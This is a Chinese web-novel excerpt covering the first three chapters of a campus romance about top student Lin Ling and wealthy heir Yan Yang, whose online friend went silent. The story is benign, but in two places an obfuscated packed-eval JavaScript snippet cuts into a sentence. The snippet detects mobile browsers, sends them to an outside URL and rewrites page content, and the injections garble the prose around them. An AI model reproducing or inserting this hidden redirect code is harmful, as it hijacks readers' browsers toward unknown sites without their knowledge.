《断联的网友竟是我同桌》 1. 永宁县 八月的阳光燥热,知了的鸣唱声也时长时短,猫捂着耳朵趴在树上躲懒,永宁县的一个小村落正锣鼓喧天地举办一场升学宴。 “李拐军是吧,随200。” “不是不是!是geyue啊!” 拿着笔准备写字的人手顿了一下,眉头紧皱,一脸深思样,显然还是没听懂。 对面的老人也有些着急,手和嘴并用着,沙哑的声音大了点:“就是geyue家的那个啊!!” “哦哦哦!”写字的人终于反应过来了,“李国军对吧!” “嗯。”看着他写完自己的名字,老人重重地哼了一声:“就这样,还大学生嘞!字都不认得!” 说完就背着手自顾自进去找了个凳子坐着。 某位被指字都不认得的大学生愣了两秒,内心疯狂咆哮:“………不是,这也不是我的升学宴啊,我就放假回个家,把我抓过来干嘛!” 而作为本次升学宴的主角正躲在大树下乘凉。 少女皮肤冷白,身材清瘦,只扎了一个简单的马尾。均码的白色T恤挂在她身上空荡荡的,像个没有感情的晾衣架,下半身洗的发白的蓝色牛仔裤腰间的皮带被扣在最前的第三个格子,显得腰更细了,仿佛一阵风刮来就能把她吹走。 她身体自然往后靠,身后是一棵已然上了年纪的樟树,树干粗壮,繁茂的树叶像一把撑开的大伞,遮蔽了大部分阳光,倒是个乘凉的好地方。 林泠淡色的嘴唇抿着,低着头,长长的睫毛盖住了大半双眼睛,让人看不清楚情绪,手机时不时传来震动声,她敲了几个字回复。 【音音:在干嘛在干嘛!】 【泠:没干嘛。】 【音音:好兴奋啊!!啊啊啊啊啊啊!!!马上就要去一中读书了!!】 【音音:不过听说那谁的妹妹也去了。】 林泠想了半天才知道对方说的那谁的妹妹是谁。 【泠:是吗?】 【音音:对啊,对了最近很忙吗,约你都不出来。】 林泠把被风得遮住眼睛的头发扒拉开,点了几下手机。 【泠:他们办升学宴。】 那边很快回复。 【音音:谁?你爸?】 【泠:嗯。】 【音音:有多少人?】 【音音:???我能去吗?】 【音音:怎么不回我呀!![可怜][哭哭]】 林泠抿着唇想说,最好别来,反正和鸿门宴差不多。 风借着少女的马尾抚摸着她的脸,好像是存心在和她玩闹似的。 一次,两次,三次…… 在林泠第三次把马尾捋到后面,又被吹回来的时候,她终于忍不住了,把还在震动的手机塞进口袋里,冷脸跟空气对峙两秒,然后抬起白皙的手腕扯下发圈,有些干枯长发混合着洗发水的清香散开来。 发圈是一个蓝色的小肠发圈,上面有一只可爱的玉桂狗挂件,是舒音从娃娃机里抓出来的,在她还没反应过来的时候,就已经被扎在头上了。 她的头发不算少,有满满一把,一只手握住还会有些溢出来,另一只手充当梳子把头发捋平整,接着旋转一下就扎成了个简单的丸子头,连额前的碎发都被整理好了。 裤子里的手机没有震动,或许是太久没回消息,那头的人以为她在有事情,便没再发消息过来。 大光明的发型让林泠的整张脸都完整地露了出来,这真的是一张令人看一眼就难以忘怀的脸。 天生的狐狸眼让她的眼尾不用画眼线也能自然上挑,眉毛细长颜色不深不浅,鼻梁挺而翘,唇色虽浅但眉心的那颗小红痣确实在引人注目,她的瞳色是黑色的,不说话盯着人看的时候格外有压迫感。 林泠注视着不远处正喜气洋洋地张罗着升学宴的那一小块地方。 房子是很普通的农村自建房,甚至外面连瓷砖都没有贴,只有一层白色的乳胶漆,很新,像是刚刷上去没多久的,或许是地上有很多放过的鞭炮壳,又或许是那条看起来不合时宜的红毯,还有门口那块土到不行的“中考状元林泠同学升学宴”招牌,总之看起来热闹非凡,让它和旁边华丽的欧式风格的小别墅比起来还要风光和神气。 其他人一定想不到,这栋看起来很新的房子之前还是连白色乳胶漆都没涂,裸/露出里面红色石砖的土房子,只不过多了一块招牌,便借着这块招牌开始大肆装修起来。 林泠双手交叠放在胸前,面无表情地看着院子里笑得方圆十里都能听见的中年男人,随后不知道听到了什么冷笑一声。 “还是老林会养女儿啊。” “我女儿!那肯定是随了我的优秀啊!”男人一口大黄牙,抽了口烟又哈哈大笑起来。 “是喽是喽,除了老林还有谁家的女儿可以这么厉害,说到底还是生女儿好呀,读书读的好可以有钱,读不好也可以……” “对了,怎么半天没看见她?” “不就……”他喝了点酒,眼睛有点迷糊,晃了一下身体,啤酒肚也跟着晃动,正要说不就在这里吗却发现确实从一开始就没见过人,于是对着一个方向就嚷嚷:“孩她妈啊,泠丫头呢?赶紧去把她喊出来见见人呐!都是叔叔伯伯的,以后工作了还得靠他们的关系呢!” 一辈子没什么文化也没当什么过大官却被戴了顶的几个中年男人也没有丝毫尴尬的神色,只故作大度地摆摆手,“不讲这个不讲这个。” 被叫到的女人此时刚得了片刻歇息,凳子还没坐热听到了招呼,立马笑着起身哎了一声出去了。 林妈找到林泠的时候,她正蹲坐着对着手机发呆,即使是蹲着的姿势,背脊也依然挺拔,只是露出的那一截手臂实在是瘦的让人心疼,空荡荡的手腕上只看得到那颗凸起的骨头。 林妈捏了捏口袋里的东西,压下心中的酸涩,重新挤出一个笑脸,因为怕吓到她慢慢地走过去,手轻轻地搭在少女瘦弱的肩膀上,仿佛隔着皮肤在抚摸她的骨头。 “妈?”林泠回神,看到来的人后,嘴角勾起一个浅浅的弧度,眉间的小红痣跟着舒展开来,她惊讶地说:“你怎么知道我在这里?” 林妈对着林泠笑笑,这里的风吹的人很舒服,把她的皱纹都吹平了不少,先前的疲惫一扫而空,“你是妈的女儿,母女连心,不管你在哪里妈都能找到你。” “真的吗?”林泠抱着林妈的胳膊,脸亲昵地在上面蹭了又蹭。 林妈常年劳作,身上沾染的不是油烟味就是灰尘味,或者是出汗时的酸味,别人一靠近就忍不住要远离但林泠还是很喜欢抱着她,那是一种很安心的感觉——是妈妈的味道。 “真的呀。”说着,林妈从口袋里拿出一块用红布包着着东西,那块红布里面还用卫生纸又包了一层,看得出来里面物品的宝贵程度。 打开后里面是一条不知用什么编法编成的红色手绳,只觉得特别好看,仔细看里面还混了几缕金线,只是太细了不仔细看看不出来,手绳上串了两枚铜钱,看起来有些历史。 “妈……”林泠看着这条手绳,心中有些茫然。 林妈笑笑,拉着她的左手边戴边说,“泠泠,妈妈这辈子没什么本事,买不起金镯子,也买不起银镯子,在别的女孩子手上都有漂亮手饰的时候,我们泠泠什么也没有,红绳可以辟邪,铜钱可以招财保平安,我们泠泠马上就要一个人去那么远的地方读书了,希望它能代替妈妈,保护泠泠平平安安的。” 林泠鼻子一酸,手里的红绳仿若有千斤重,令她怎么也抬不起来,眼尾有些泛红,但她显然是不擅长表达自己的感情,转了个话题问:“好看,真好看,这个是怎么编的,怎么从来没见过?” “妈妈也不知道,好像天生就会吧,那天一拿起绳子手就自动编出来了,我教你啊,我们泠泠聪明,肯定一学就会……” — “啧,这什么地方,才十点不到就全部关门了吗?” 晏阳一边走一边呼出白气喷在手上 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骂完自己后,晏阳又看了眼手机上的聊天记录,转念一想又为自己找补:“晏阳,你不是神经病,你来这里是为了找你的高山流水的,她那么懂你,你提前来熟悉一下她在的地方,以后见面的时候也不至于她说个地点你还要拿出导航查个半天,对!你不是!这叫近水楼台,呸呸呸!不对不对,什么近水楼台……” 晏阳正左右脑互博着,因为吹了风,头还有些昏沉,没怎么看导航,一不留神就拐进了一条小巷里,垃圾桶发出的臭味总算唤醒了他的意识,一睁眼才发现面前竟然变成了垃圾桶,正准备往回走的时候里面突然传出几声小混混的经典台词。 “呦~没钱,等我动手的时候不就知道有没有了吗?” “老大,跟她们两个费什么话,我一个人就能搞定!” “就是老大,我们收拾,到时候拿到钱正好去搓顿好的。” 这里的路灯看起来已经到了退休的年纪,但应该又被返聘了,灯光一闪一闪的,不太好使的样子。 晏阳没有听墙角的爱好,但那三人的对话应该是在进行勒索,听说话声是只有三个,但不确定是不是只有三个人。 这种情况绝对不能坐视不理! 内心的正义感驱使着他走过去。 他悄悄探了个头出去,准备摸清楚情况再出手。 还没等他弄清楚情况,只一眼就让他瞪大了双眼——他看到被勒索的女生放下手里的书包,给身后的短发女生拿着,然后挽了挽袖子,在灯光突然暗下去的滋滋声和放狠话男的惨叫声同时响起。 “啊啊啊啊!!别打了别打了!” 灯光有规律地一闪一闪,让人看不清情况,但每一次暗下去的时候都能听见重物摔倒的声音。 “小丫头,看我的!” “不敢了不敢了!我再也不敢了!” 等灯光再次完全亮起时,那三个男的已经被打趴在地上,形状各有各的怪异,但脸上无一不是痛苦的神色。 晏阳的位置看不到女生脸上的表情,只见她轻松地把袖子放了下去,昏黄的灯光打在女生身上,月亮刚冒了个头,为她拢上了一层淡漠的月光。 他突然想起了家里妹妹跟他抢东西不成,经常对他说的那句中二台词:代表月亮消灭你! 晏阳心中感慨万千,本来只是提前熟悉地方,没想到目睹了一场勒索不成反被受害者狂揍的戏剧……喜剧? 他刚才还冰冷的身体现在热了个大半,甚至已经不是热了,而是沸腾! 这是一挑三啊,而且看样子还只是衣角微脏。 晏阳很想去给这个女生鼓掌,并想请教她师出何门,怎么一下子就能打到3个体形差那么多的男人,但就现在的情况来看,万一她把自己也当成勒索犯的同伙怎么办? 想了想,还是算了。 他刚准备把头撤回来,不料女生微微偏头。 余光瞟向了垃圾桶的方向。 明明是背对的情况,两人还不认识,那人却能精准地喊出他的名字,晏阳瞳孔骤缩成一个点,浑身血液倒流。 “晏—阳!” 2. 开学典礼 晏阳的背蹭的一下立了起来,等看清后才发现面前是车的后座。 “晏哥?干嘛呢?” 身边有人扒拉了一下他,那人的手很烫,晏阳有点不适应一把把他的手拍开,这才感觉到凉意,原来不是那人的手烫,而是自己身上的温度太低。 “谁把温度调得这么低?”他皱着眉几乎是脱口而出,语气不太好。 司机不敢吭声,副驾驶和他旁边的人均看向他,一脸疑惑。 唐越知道晏阳有起床气,但看着刚刚他睡觉时一直被噩梦困扰着不停动来动去的样子,还是冒着被打一顿的风险喊醒了他。 他弱弱地说:“不是你自己调的吗?” 话说得占理可能是因为自己的态度不好让说话人的语气都变得底气不足。 晏阳闭眼揉了下太阳穴,察觉到气氛有些尴尬,道歉道:“不好意思忘记了。” 唐越歇了口气:“吓死我了!我还以为你被鬼上身了,刚做什么了,腿一直摆个不停,不会真的被鬼追了吧?” 晏阳揉了会太阳穴,不适的感觉下去了不少,但听到唐越的话又不免联想到刚刚的那个梦,不想回答,干脆换了个话题:“现在几点?” 唐越看了眼手机,“八点吧。” “我们还有多久到校?” “差不多2个或者3个小时?反正开学典礼是赶不上了。” “……无所谓。” 晏阳以手覆面,梦里那道身影怎么也挥之不去。 好久之前的事了吧,怎么偏偏在今天想起来了。 — 与此同时,虞城一中的开学典礼正在准备阶段。 “诶!快点快点,今天是开学第一天,还是最重要的开学典礼,别让阿金抓到了!” “知道知道,开学第一天被阿金抓到,那这高中三年,怕是要完了!” 林泠随着人潮流动,对于旁边人说的“阿金”并不陌生,来的那天就有人给她介绍过了,‘阿金是虞城一中的教导主任,姓谢,主要负责学生风纪管理这一块,人称行走的计分器。’ “诶,让一下!让一下!”两个提着垃圾桶的男生对着人群高声呐喊,边走边把手当作船桨拨开人潮。 正值开学典礼的重要时刻,没有人想都沾上垃圾桶的味道,林泠也皱了皱眉,学着身边人的样子把衣服一抓往边上靠,给他们让出一条道。 两人两级台阶一步跨,伴随着两人大幅度的动作,垃圾桶也跟着左右摇晃,有认识他们的人忍不住提醒。 “小心点,不要摔了。” 一个男生咧嘴一笑,举起一根大拇指指向自己,“放心吧!不可能……” 话还没说完,垃圾桶就失去了控制。 “小心!” 嘈杂的人群中突然爆发出一声惊呼,所有人都被这声尖叫吓到。 林泠眼尖,动作也快,眼见前面的女生马上就要被撞到立刻一个箭步冲了上去。 绑着棕色斜麻花辫女生正侧着头跟朋友说说笑笑,没注意前面的提示,被急速摇晃的垃圾桶撞了一下,脚下台阶踩空,身体直直地往前倒。 就在要撞倒前面的同学时,一只纤细的手臂突然伸出,精准地勾住了女生往前倒的腰,女生一个后坐力,跌进了一个瘦弱的怀抱里。 虚惊一场的女生还没缓过神来,被扶到一边后还捂着怦怦直跳的胸口,大口地用嘴巴喘着粗气,鼻子嗅到了一阵淡淡的花露水清香,清爽的气息让她平静了不少。 “你没事吧。”声音从头顶传来。 女生抬头,只见眼前的女生皮肤白皙,绑着一个简单的高马尾,额前有些许碎发垂落在耳边,一双狐狸眼正看着她,漆黑的瞳孔像是有什么魔力,只看一眼便会让人沦陷进去。 女生呆滞了好几秒,连大口呼气都忘记了。 “薇薇,你没事吧。”好友见她盯着别人发愣,以为她被吓到了,轻轻推了推女生的肩膀,她这才反应过来自己还在别人的怀里,对方搭在她腰上的手已经放下了,改为扶在她手臂上。 “没事没事。”徐若薇连忙站直,“谢谢你同学。” “没事。”扶人的女生见她没事,搭在她手臂上的手放下,从校裤口袋里拿出一张叠好的纸打开看,边走边默念。 “诶……”徐若薇还想说些什么,但人已经挤进队伍了,高马尾很快消失进入下一层楼梯,直到再也看不见。 “我还没问她名字呢。”徐若薇嘟囔了一句,眼底有些遗憾。 她的名字?好友话里有些疑惑,像是听到了什么不可思议的话,又想到了什么,拍拍她的肩膀安慰,“没事儿,你等会儿就知道了。” 喇叭里传来一阵刺耳的声音,话筒被人用力拍了两下,传出两声砰砰的闷声,接着又被人重重地吹了两口气,“咳咳咳!没有到体育馆集合的同学快点到,开学典礼第一天,我不希望有人被我抓到!” 阿金粗犷的声音从喇叭里传来,散落在虞城一中的各个角落,语气激昂,最后两个字被他特别加重,充满威胁气息。 台上的大屏幕上正放着典礼开始的倒计时沙漏,偌大的体育馆里早已坐满了人,穿着清一色绿白色短袖校服的学生在偌大的场馆里像小蚂蚁一样。 林泠一进来就看到现在最中间的舒音,手里拿着个被挤得变形的矿泉水瓶,她走过去轻声喊了声:“音音?” 舒音欣喜地回头,“泠泠,你怎么来得这么晚?我找了你好久。” 林泠伸手把甩到前面的马尾拨到后面,“路上出了点事,耽搁了一下。” “什么事啊?” 林泠不想说细节,笼统地概括了一句,“不是什么大事。” 舒音嗷了一声,把水瓶递给林泠,从口袋里掏出一颗椰子糖,“对了,我看你嘴唇这么白,是不是又低血糖犯了,距离新生代表发言还有一段时间,你先吃颗糖吧。” 林泠没接,眼皮掀起看了眼时间,“来不及了,演讲完再吃。” “不行!”舒音把椰子糖塞进她手心里,又把背后的书包放下来,在最里层摸索了好几下,“奇怪,我记得明明就在这里的啊。” 书包里只有几本书,舒音干脆全部拿了出来,又把书包倒过来抖了两下,一颗红色包装纸的糖掉了出来,舒音迅速捡起来,“那你吃这个,这个是奶糖,在嘴巴里化得很快。” 舒音目光灼灼地看着林泠,双手合十,带着祈求的意味。 看来今天的糖是非吃不可了。 林泠撕开包装纸,递到嘴边,舌头一勾便吃了进去,“现在好了吗?”空空的包装纸反过来对着舒音。 “行。”舒音把地上的书本收回书包里,“对了,我们班在哪里呀,我刚刚找了半天没找到来着。” 林泠转了个身,指着正对着舞台方向的座位,“那边的前三排都是我们班的,后三排是高二的,再后三排就是高三的了。” “原来在后面,难怪我没有找到。”舒音看过去,拍了两下书包,“好,那我先上去了。”走了两步又回头,“加油,不要紧张,我会在上面给你加油的!” 林泠勾唇点了下头,嘴里的奶糖已经开始融化了,有些甜,刚才赶路过来嘴巴里的苦涩味被压下去了一些。 随着大屏幕上的沙漏里的最后一粒沙子落下,全场的灯光立刻噌的一声全部聚集在舞台上。 台上的人穿着有些紧的西装短袖,面上严肃,手拿话筒却没有立刻说话,锐利的眼睛先是环视了一圈,沉声道:“我看哪个班还在发出声音。” 威严的声音让有些吵闹的场馆立刻安静下来,只听见呼吸声通过话筒放大的起伏声。 安静了将近一分钟后,话筒里再次传来声音,“现在,我宣布,虞城一中第87届开学典礼,正式开始!” 台下响起一阵掌声。 校长还在发言,后台方向,林泠把稿子又看了一遍,闭上眼在心中默背。 — 车程比晏阳想象得快了很多,但还是没赶上开学典礼。 三人从车上一下来,迎接他们的就是近百年名校庄严的大门,上面是用繁体写着颇具伟人笔法的校名──虞城一中。 晏阳驻足看了许久,刚刚梦里的画面被门口的落叶扫了个一干二净,一股熟悉青春校园的气息包裹住了他,随后张开双臂,高声呐喊, “虞城一中,我又回来啦!” 少年头发全被染成了金色,说话时眼皮轻抬,琥珀色瞳孔完全露了出来,圆润的狗狗眼下横着一条厚厚的卧蚕,即使不笑也能给人一种容易亲近的感觉,太阳一照,显得整个人更朝气蓬勃,阳光开朗了。 “我也是!”唐越学着他的样子紧随其后。 盛泽慢慢地说了声:“那……我也是?” 少年们的声音慷慨激昂,门卫的大叔正看到剧的激动部分就被掐断了,气冲冲地开门准备骂人:“哪个兔崽子──” 熟悉的景碰到熟悉的人总是会产生别样的情绪。 晏阳和门卫大叔是老相识。 门卫大叔姓安,大家都管他叫安叔,之前是晏阳家的司机, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481573|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是看着晏阳长大的,两人对视一眼,几个月不见还真让老人家有些想念。 又是问他们是不是又出去篮球比赛去了,几人如实回答,又是问他们辛不辛苦的,随即又开始了老话题,对着晏阳叹气,脸上是掩不住的愁绪,“你这孩子我记得小时候的成绩挺好的啊,怎么长大了后,唉……现在除了学习什么都比别人强,要是……” 眼见安叔又要开始忆往昔,唐越和盛泽对视一眼,立刻架着晏阳往里走,“哈哈!安叔我们要上课了,先开门吧。” 安叔虽意犹未尽,却也不得不放行,“好好学习啊,改天再聊啊。” 进去后三人才松了一口气。 唐越:“不是,安叔怎么还这么健谈啊。” 晏阳耸耸肩表示我母鸡啊,盛泽也给了他一个不知道的眼神,唐越觉得没劲跑去公告栏看看都有什么大新闻。 “唉,我们小阳啊,除了学习什么都比别人强……”盛泽笑着重复了一遍刚才安叔说的话,语气欠欠的。 “去你的。”晏阳笑着踢了盛泽一脚,被他轻易躲开,朝着唐越的方向跑去。 晏阳戴上耳机,从应用文件夹里找出被藏在最里面的软件。 他犹豫了一下还是没打开,粉色的交友软件因为长期没有被用过,上面的图案已经出现了灰尘,两只小狗趴在地上,上面有几个字:太久不来死掉啦。 晏阳:…… 点进去后还是熟悉开机动画,不同的是两只小狗好像有苏醒的表现,距离上次用这个软件已经快四个月了。 置顶的那个头像依然是灰色的,聊天记录停留在5月6日,是他发过去的:你的解题思路比我的简洁太多,太厉害了,你也在虞城吗? 对方一直没有回复,后面他又发了好几条,对方还是没回复,直到现在都没有再上过线。 晏阳以为对方只是在忙没看到消息,又或者是自己问的问题不太礼貌,甚至去百度上找“为什么和网友聊的很畅快结果对方却突然不回我了”的傻|逼问题答案。 一个月后,在众多回答中他才知道自己是被断联了。 晏大少不能接受,从小到大都是别人抢着跟他交朋友,没想到有一天主动起来,竟然被别人断联? 什么高山流水。 什么知音难觅。 假的! 通通都是假的! 骗子!欺骗我的感情! 亏自己还以为遇到了真正懂自己的人,为此还把差点把自己的密码都说了出去。 不知道为什么他又想起了刚刚做的梦,于是更加顿胸捶足——自己竟然还为了她找到了那个犄角旮旯的地方?!还差点…… 消沉的晏大少把自己一个人关在房里,深思熟虑后,做出了一个决定: 以后自己再主动就是狗! 晏阳回忆往事得正认真,完全没注意脚下,直到踩下下一步的时候,才发觉脚感不对,把脚移开了一点,一张有些厚度的卡片露出一角。 他摘下耳机弯腰捡起,是一张身份证,手在踩脏的地方抹过。上面的女生嘴唇紧抿面无表情,脸色有些苍白,轻微上挑的眼尾如同被下达指令的机器人一般,眼睛直直的看着前方,眉心的一颗小红痣显得极为亮眼。 晏阳眼睛瞥向写着名字的那栏,嘴唇轻启:“林泠。” “1月5日。”晏阳啧了一声,有些不满,“怎么刚好比我大一天。” “晏哥快来!有大事!”唐越语气有些激动,似乎发现了什么不得了的惊喜。 晏阳把身份证往口袋里一塞,“来了。” “我嘞个乖乖!” “乖乖个嘞我!” “你俩说相声呢!”晏阳走到两人中间,双手张开搭在他们的肩膀上。 “你和中考状元一个班啊哥!”唐越在他耳边尖叫一声。 晏阳皱眉半眯了眼睛,捂住耳朵把人推开,“什么中考状元?” “喏。” 盛泽指着分班名单上的第一个名字,又敲了敲旁边红色的大字报,上写着着一则喜讯。 “热烈欢迎中考状元林泠就读我校!” 晏阳定睛一看,喜报上面的脸以及名字均和口袋里的身份证一样。 这么巧吗? 广播里不合时宜地响起“滋”的一串电流音。 “下面有请本届新生代表林泠同学为大家发言。” 主持人的声音结束,过了几秒钟,清冷淡漠的女声缓缓流出。 “大家好,我是本届新生代表林泠……” 3. 新班级 一场典礼整整开了一个上午,经过了各班班主任的提点,学生们不敢东倒西歪,只能老老实实挺直背听。 “好!本次开学典礼,圆满结束!” 随着主持人一句熟悉的结束语,这场折磨式的开学典礼才落下帷幕,学生们纷纷塌下身,苦着脸跟旁边的伙伴互相吐槽。 “哎哟我的老腰啊。” “不是啊,怎么这次这么严格啊,也不是什么整数纪念啊!” “对啊,我不是说,还有无人机巡视,太夸张了吧。” “不就是来了个……” 经历了好几个小时的挺背,散场后的学生个个跟植物大战僵尸里的僵尸一样,走路歪歪扭扭的,有的甚至是两两搀扶,却还是要保持队形,竟然有一种诡异的整齐感。 “嘿!晏哥你看,他们怎么这样了。”唐越指着走得奇形怪状的队伍,兴奋地用力一拍刚才安叔拍过的地方。 晏阳捂着被唐越拍过的地方倒吸一口凉气,“你是不是和安叔混多了,怎么手劲比他还大。” “啊?” 唐越没意识到自己的行为,还指着前面的人狂笑。 盛泽也扶着眼镜看过去,“这次的开学典礼是站着听的?” “站着听?那不惨了,还好我们三没去,不然也要变成他们里的一员了。”晏阳喟叹一声:“作为本校校草兼校霸,如果变成这样的话,还怎么在学校里混。” 说完还极其风骚地撩拨了一下额前的刘海。 唐越和盛泽两人听到他如此不要脸的话,做了一个呕吐的动作,默契地竖起中指。 “别装了,赶紧回班吧。”盛泽实在是看不下去了。 “诶,晏哥怎么不和我们一个班啊,以后该怎么一起打球。” “打球而已,来找我不就行了,到时候我让老师给我安排一个在走廊靠窗的位置,你们一来敲窗户我就能听见。” “好呀好呀!”唐越不解,“不过你都不知道老师是谁,能给你安排吗?” 晏阳双手抱胸耸耸肩,盛泽瞬间就懂了,撞了下唐越,“你是不是忘记怀瑾班为什么叫怀瑾班了?” _ 体育馆后台,林泠将自己的东西收拾好,跟场务老师告别,“老师那我先走了。” “诶好好,林泠同学今天的发言太好了,我听了都激情澎湃,想再读一遍高中!” 场务老师是个有些胖的中年男人,说起话来幽默风趣,情绪价值给满。 林泠:“谢谢老师。” 舒音坐在体育馆门口,眼神是不是往里面看,林泠一出来就小跑上去。 “慢点跑,别摔了。” 舒音笑嘻嘻地挽住她的手,“不会啦,泠泠今天的表现太好啦,看来我之前的训练还是有用的。” 林泠性格冷淡,不爱说话,朋友也不多,唯一能够真正交心也只有现在身边的舒音。 收到要作为新生代表发言是一个星期之前的事,她本想拒绝,是舒音替她接下,不厌其烦陪着她改了一遍又一遍的稿子,做她唯一的听众。 上台前她还有些紧张,即使之前有过很多次的上台发言,但还是第一次面对这么多人,舒音悄悄地给她做只有两个人才懂的手势,让她紧绷的神经放松下来,流畅地做完了演讲。 林泠把掌心覆在舒音的手上,“谢谢你音音。” “谢什么。”舒音把手搂得更紧了,“要是谢的话,就辅导我写作业吧,呜呜呜,我好怕掉出怀瑾班。” 林泠失笑,给她吃了一颗定心丸,“放心吧,有我在掉不出去的。” “你最好啦泠泠,对了,你知道为什么怀瑾班要叫怀瑾班吗?” 林泠歪头,配合地问:“为什么呢?” 舒音侃侃而谈,“根据我所得到的消息,怀瑾班的创始人是晏家的第一任总裁,叫晏怀瑾,他是从虞城一中走出去的,毕业发家后为了回馈母校,成立了一个名叫怀瑾班的特殊班级,而且进入这个班的学生学费生活费等等一切费用全都由晏家出资,他们只需要好好学习,毕业后有能力了再回来用同样的方式回馈母校。” 舒音把自己得到的消息一口气说完,“是不是很有意思。” 林泠认真听完,点点头,“晏家,是个很厉害的家族。”在虞城没有人不认识晏家,作为三大家族之首,财富是他们最不起眼的优点,“他们的眼界很长远,怪不得能够在金融危机时,众多企业都倒闭的情况下屹立不倒。” 舒音:“我听说怀瑾班的985上线率是百分之八十五呢!” 林泠挑眉,“怎么不是百分之百?” “因为剩下的除了A大保送的,要么就是准备出国。”舒音按了下发酸的腰,“哎,同人不同命呀,我就不期望保送了,能让我擦边进A大就好了。” 林泠上前替她揉腰,听到她说出这么没出息的话,手悄悄移动找到痒痒肉的地方捏了一下。 舒音条件反射地弹开,指着林泠委屈控诉:“泠泠你学坏了!!” _ 高一怀瑾班的教室在明理楼二楼最左侧,教室里的人还不多,大多数人都还没从假期里缓过来,来了也是坐着玩手机。 舒音刚走进教室就看到这幅画面,又出去看了眼门外的班牌,确定没走错,有些狐疑:“怀瑾班这么轻松的吗?我还以为学霸无论什么时候都在学习呢。” 第一排的男生听到她这句话,手机里的消消乐都不玩了,就看着她笑,他笑得丝毫不掩饰。 “你笑什么?”舒音觉得莫名其妙,语气也不善。 男生眼里满是戏谑,没有被她凶到,反而觉得她有些可爱,笑了好一会儿才开口,“我觉得你好可爱。” 舒音:“?” “神经病吧。” 舒音认为这个人或许有些毛病,能进这个班说不定也就智商高,语言系统估计是混乱的,说的话驴头不对马嘴。 林泠被老师叫出去拿花名册了,没有看到刚刚的闹剧。从后门进来的时候正好看见舒音嘟着嘴,眼睛死死地盯着第一排一个男生的后背。 “怎么了?”林泠将花名册放下,手抚了一下舒音有些炸毛的发尾。 舒音被顺好了毛,像是找到了倾诉对象,“泠泠,我觉得那个男生有神经病,我们以后不要跟他说话好不好。” 林泠:“怎么说?” 舒音把刚刚发生的事加上自己的猜测添油加醋地说了一遍,“他是不是……”手指着脑袋的位置,“这里,有问题?” 林泠不懂舒音的脑回路,只能把自己的想法说出来,“能进这个班的,估计都是靠天赋,他们不用像我们在六中那样抓住一点时间就拼命地学,所以会觉得你说的话有些……不符合常理?” 去办公室拿花名册的时候,老师正在讲一些学生的问题,她也侧耳听了几句。 “唉,现在的学生,都是想着出国,学习什么的都不放在心上。”男老师放下手里正在写教案的笔。 “没办法啊,我的班还是艺术班,那天大课间我听到她们在聊天,有个别说都不打算艺考了,家里安排好了,随便画两下就行。”女老师叹息一声。 花名册拿好后林泠没多留,跟老师道了声谢出了办公室。 “诶,听说咱们学校今年花大价钱把中考状元请来了?叫什么……林泠对吧!” 听到自己的名字,林泠脚步顿了一下,却也没敢多停,抱着东西走了。 舒音听完更加苦恼了,“啊!那我怎么办嘛?”头垂下去,脸和桌子来了个亲密接触,“这世界上多我一个天赋怪会怎样?” 林泠轻笑一声,翻看老师给的花名册,眼睛从自己的名字一路往下看,指尖停在最后一个名义上。 晏阳。 晏? _ 九月,虞城一中还是采用的夏季作息表,下午的上课时间是两点半。 开学第一天,学校没有安排上课,由各班的班主任组织一些破冰小活动和领军训服,说一些军训的注意事项。 临近上课,班上的人还没来齐,直到第一道上课铃响起,班上的同学才陆陆续续地走进教室。 虞城一中虽隶属于公立学校,但背后有晏家出资,财力雄厚,就连教室都设计得无比宽敞,中央空调镶嵌在墙壁里。 林泠大致估算了一下大致有八十平方米左右,且还只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481574|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容纳了30个学生,学生与学生之间的座位不像她初中那样合在一起,不会有三八线,每个人都是一张单独的桌子,没有同桌,过道很宽敞,就算有人追逐打闹也不会撞到桌子。 班主任跟在踩着铃声进来的学生后面,手里拿着一个文件夹,进来后卷成桶状拍了两下讲台,“咳咳咳,上课了,大家都打起精神来。” 林泠见舒音还趴着没动,伸手推了一下,低声喊道:“音音,音音。” 舒音动动脑袋,眼睛醒了但意识还没苏醒,手背抹了两下嘴巴,正准备伸个懒腰,一抬眼就和台上的班主任四目相对,瞌睡虫一下就被吓跑了,立马端正坐好。 班主任扫了一眼教室,目光定在第一组最后一个座位靠窗的位置,半拉开的椅背挂了个黑色的书包,书包只用一条肩带勾住,歪七扭八的,拉链也只拉了一半,里面鼓鼓囊囊的,露出一角绿白色的秋季校服。 这么混不吝的作风,不用猜都知道是谁。 唉。 她在心中安抚自己,只要对方不惹事就行,其他的,就随缘吧。 班主任安慰好自己,整理了一下面部表情开始自我介绍:“我叫陈清,”说着掰了一节白色的粉笔,在黑板上写了两个字,笔锋很凌厉,和她柔柔弱弱的外貌完全不像,“大家叫我陈老师就行,新学期意味着新的开始,我相信大家都期待能有个好的高中回忆,那么,这就需要我们一起努力。” 陈清说了个很官方的开场白,但胜在感情真挚,同学们也很给面子,掌声经久不绝。 陈清做了个暂停的手势,传达了一下学校最近的安排,“接下来就是破冰活动了,我们也不搞什么击鼓传花的了,就按照花名册上的顺序一一做个简单的自我介绍,说说名字还有爱好什么的。” “好!”底下有大胆的男生拍手附和。 林泠完全没听到陈清说的话,刚才舒音突然悄悄给她扔了一张纸条,上面的内容让她的脑子现在还处于宕机状态。 